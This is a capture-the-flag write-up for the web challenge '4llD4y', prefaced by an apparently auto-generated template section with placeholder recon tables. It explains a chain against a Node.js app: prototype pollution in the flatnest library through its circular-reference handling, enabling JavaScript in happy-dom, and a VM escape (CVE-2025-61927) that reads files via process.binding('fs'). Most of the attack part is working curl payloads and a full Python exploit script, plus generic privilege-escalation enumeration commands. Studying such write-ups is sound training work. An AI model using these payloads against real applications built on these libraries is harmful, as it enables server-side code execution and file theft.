4llD4y
4llD4y
Platform: 0Xl4Ugh | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-23 | Status: Solved Techniques: process_binding_fs, prototype_pollution_via_circular_reference, vm_escape
Summary
Challenge URL: http://challenges3.ctf.sd:34102/
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
0xl4ugh| ID:20260123_0xl4ugh_4lld4y - Tags: nodejs, express, prototype-pollution, happy-dom, vm-escape, flatnest, circular-reference, node-binding
- Indicators: flatnest nest(), happy-dom Window, circular reference [Circular (path)], enableJavaScriptEvaluation
- Source:
20260123_0xl4ugh_4lld4y.md
Foothold
Vulnerability / Misconfiguration
- Process_binding_fs
- Prototype_pollution_via_circular_reference
- Vm_escape
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- process_binding_fs
- prototype_pollution_via_circular_reference
- vm_escape
- Tags: nodejs, express, prototype-pollution, happy-dom, vm-escape, flatnest, circular-reference, node-binding
Original Writeup
<details><summary>Click to expand original content</summary>Description
"Stuck in the same day."
Challenge URL: http://challenges3.ctf.sd:34102/
Node.js Express application with two endpoints:
/config— callsnest(incoming)from the flatnest library/render— creates a new happy-dom Window and renders HTML
Source Code
app.js
import express from 'express';
import { Window } from 'happy-dom';
import { nest } from 'flatnest';
const app = express();
app.use(express.json({ limit: '1mb' }));
app.post('/config', (req, res) => {
const incoming = typeof req.body === 'object' && req.body ? req.body : {};
try {
nest(incoming);
} catch (error) {
return res.status(400).json({ error: 'invalid config', details: error.message });
}
return res.json({ message: 'configuration applied' });
});
app.post('/render', (req, res) => {
try{
const html = typeof req.body?.html === 'string' ? req.body.html : '';
const window = new Window({ console});
window.document.write(html);
const output = window.document.documentElement.outerHTML;
res.type('html').send(output);
}
catch(e){
console.log("Error ", e)
res.json({"Error": e})
}
});
app.listen(3000, '0.0.0.0', () => {
console.log('Happy DOM listening on http://localhost:3000');
});
package.json
{
"name": "happy-dom-challenge",
"version": "1.0.0",
"type": "module",
"main": "app.js",
"dependencies": {
"express": "^5.2.1",
"happy-dom": "^20.3.1",
"flatnest": "^1.0.1"
}
}
init.sh
#!/bin/sh echo "$FLAG" >> /flag_$(head -c 8 /dev/urandom | od -An -tx1 | tr -d ' ').txt unset FLAG export FLAG=Nope supervisord -c /etc/supervisor/conf.d/supervisord.conf
The flag is written to a file with a random name /flag_<random>.txt.
Analysis
Vulnerability 1: Prototype Pollution in flatnest via Circular Reference
The flatnest library version 1.0.1 has a nest() function that transforms a flat object into a nested one:
// Example: {"a.b.c": 1} -> {a: {b: {c: 1}}}
The insert() function has protection against __proto__ and constructor:
function insert(obj, path, value) {
// ... checks for __proto__ and constructor
}
However, the seek() function used for handling circular references does NOT have such protection:
function seek(obj, path) {
// No checks for __proto__ or constructor!
const parts = path.split('.');
let current = obj;
for (const part of parts) {
current = current[part];
}
return current;
}
When a value starts with [Circular ( and ends with )], flatnest calls seek() with the path inside the brackets:
if (typeof value === 'string' && value.startsWith('[Circular (') && value.endsWith(')]')) {
const circularPath = value.slice(11, -2); // Extracts the path
value = seek(obj, circularPath); // Calls seek() WITHOUT sanitization!
}
Exploitation:
{
"x": "[Circular (constructor.prototype)]",
"x.settings": {"enableJavaScriptEvaluation": true}
}
xgets the value[Circular (constructor.prototype)]- Flatnest calls
seek(obj, "constructor.prototype") seek()returnsObject.prototype(viaobj.constructor.prototype)- Then
x.settingssetsObject.prototype.settings = {...}
Vulnerability 2: Enabling JavaScript in happy-dom
In happy-dom v20+, JavaScript execution is disabled by default (enableJavaScriptEvaluation: false).
The Window constructor accepts options:
const window = new Window({ console });
If an empty object or an object without settings is passed, happy-dom looks for settings in the prototype:
// Inside happy-dom:
const settings = options.settings || {};
// If options.settings is undefined, Object.prototype.settings is checked
After prototype pollution:
Object.prototype.settings = { enableJavaScriptEvaluation: true };
Now new Window({}) will have enableJavaScriptEvaluation: true.
Vulnerability 3: VM Escape in happy-dom (CVE-2025-61927)
After enabling JavaScript, code executes in an isolated VM context. However, there's a way to escape it:
const process = this.constructor.constructor('return process')();
This works because:
this— object in VM contextthis.constructor— object constructor (Object)this.constructor.constructor— Function from the main Node.js contextFunction('return process')()returns the globalprocessobject
Reading Files via process.binding
In ESM mode, process.mainModule.require doesn't work. But process.binding('fs') provides direct access to the filesystem:
const fs = process.binding('fs');
// List files in directory
const files = fs.readdir('/', 1, false); // encoding=1 for UTF-8
// Read file
const content = fs.readFileUtf8('/flag.txt', 0);
Solution
Step 1: Prototype Pollution via /config
curl -X POST http://challenges3.ctf.sd:34102/config \
-H "Content-Type: application/json" \
-d '{
"x": "[Circular (constructor.prototype)]",
"x.settings": {"enableJavaScriptEvaluation": true}
}'
Response:
{"message": "configuration applied"}
Step 2: Getting the List of Files in Root
curl -X POST http://challenges3.ctf.sd:34102/render \
-H "Content-Type: application/json" \
-d '{
"html": "<script>const process = this.constructor.constructor(\"return process\")(); const fs = process.binding(\"fs\"); const files = fs.readdir(\"/\", 1, false); document.body.innerHTML = JSON.stringify(files);</script>"
}'
The response contains a list of files, including flag_890d1a5ed71faa61.txt.
Step 3: Reading the Flag
curl -X POST http://challenges3.ctf.sd:34102/render \
-H "Content-Type: application/json" \
-d '{
"html": "<script>const process = this.constructor.constructor(\"return process\")(); const fs = process.binding(\"fs\"); document.body.innerHTML = fs.readFileUtf8(\"/flag_890d1a5ed71faa61.txt\", 0);</script>"
}'
Full Exploit (Python)
#!/usr/bin/env python3
"""
0xl4ugh CTF - 4llD4y
Prototype Pollution + happy-dom VM Escape
"""
import requests
import re
TARGET = "http://challenges3.ctf.sd:34102"
def exploit():
s = requests.Session()
# Step 1: Prototype pollution via circular reference bypass
print("[*] Step 1: Polluting Object.prototype.settings...")
r = s.post(f"{TARGET}/config", json={
"x": "[Circular (constructor.prototype)]",
"x.settings": {"enableJavaScriptEvaluation": True}
})
print(f" Response: {r.json()}")
# Step 2: List root directory to find flag filename
print("[*] Step 2: Listing / directory...")
payload_list = '''<script>
const process = this.constructor.constructor("return process")();
const fs = process.binding("fs");
const files = fs.readdir("/", 1, false);
document.body.innerHTML = JSON.stringify(files);
</script>'''
r = s.post(f"{TARGET}/render", json={"html": payload_list})
# Find flag file
flag_match = re.search(r'flag_[a-f0-9]+\.txt', r.text)
if not flag_match:
print("[-] Flag file not found!")
print(f" Response: {r.text[:500]}")
return
flag_file = flag_match.group(0)
print(f" Found flag file: {flag_file}")
# Step 3: Read flag
print("[*] Step 3: Reading flag...")
payload_read = f'''<script>
const process = this.constructor.constructor("return process")();
const fs = process.binding("fs");
document.body.innerHTML = fs.readFileUtf8("/{flag_file}", 0);
</script>'''
r = s.post(f"{TARGET}/render", json={"html": payload_read})
# Extract flag
flag_match = re.search(r'0xL4ugh\{[^}]+\}', r.text)
if flag_match:
print(f"\n[+] FLAG: {flag_match.group(0)}")
else:
print(f" Response: {r.text}")
if __name__ == "__main__":
exploit()
Attack Chain
Prototype Pollution (flatnest circular ref bypass)
↓
Object.prototype.settings = {enableJavaScriptEvaluation: true}
↓
happy-dom Window reads polluted settings
↓
JavaScript execution enabled in VM
↓
VM Escape via this.constructor.constructor
↓
process.binding('fs') for file access
↓
readdir() + readFileUtf8() → FLAG
References
- flatnest npm
- happy-dom GitHub
- CVE-2025-61927 - happy-dom VM Escape
- Prototype Pollution Attacks
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR